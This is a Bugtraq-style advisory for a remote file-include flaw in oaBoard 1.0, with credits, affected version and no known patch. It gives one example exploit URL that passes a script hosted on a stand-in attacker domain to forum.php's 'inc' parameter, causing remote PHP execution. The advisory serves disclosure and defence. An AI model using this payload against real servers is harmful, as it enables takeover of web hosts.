OABoard Forum Script Remote File Include Vulnerability

Bugtraq ID:	16105
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Dec 29 2005 12:00AM
Updated:	May 31 2006 05:17PM
Credit:	Discovery is credited to Aliaksandr Hartsuyeu.
Vulnerable:	OaBoard OaBoard 1.0
Not Vulnerable:

OABoard Forum Script Remote File Include Vulnerability

The oaBoard application is prone to a remote file-include vulnerability. As a result, remote users may specify external PHP scripts to be included by the application.

This could result in the execution of arbitrary PHP code in the context of the webserver hosting the application.

OABoard Forum Script Remote File Include Vulnerability

The following example was provided:

http://oaboard.example.com/oaboard_en/forum.php?inc=http://attacker.example.com/code.php

OABoard Forum Script Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]:[email protected]

OABoard Forum Script Remote File Include Vulnerability

References:

• oaBoard PHP Code Execution (eVuln)
  
• OaBoard Web Site (OaBoard)
  
• OaBoard 1.0 Remote File inclusion ([email protected])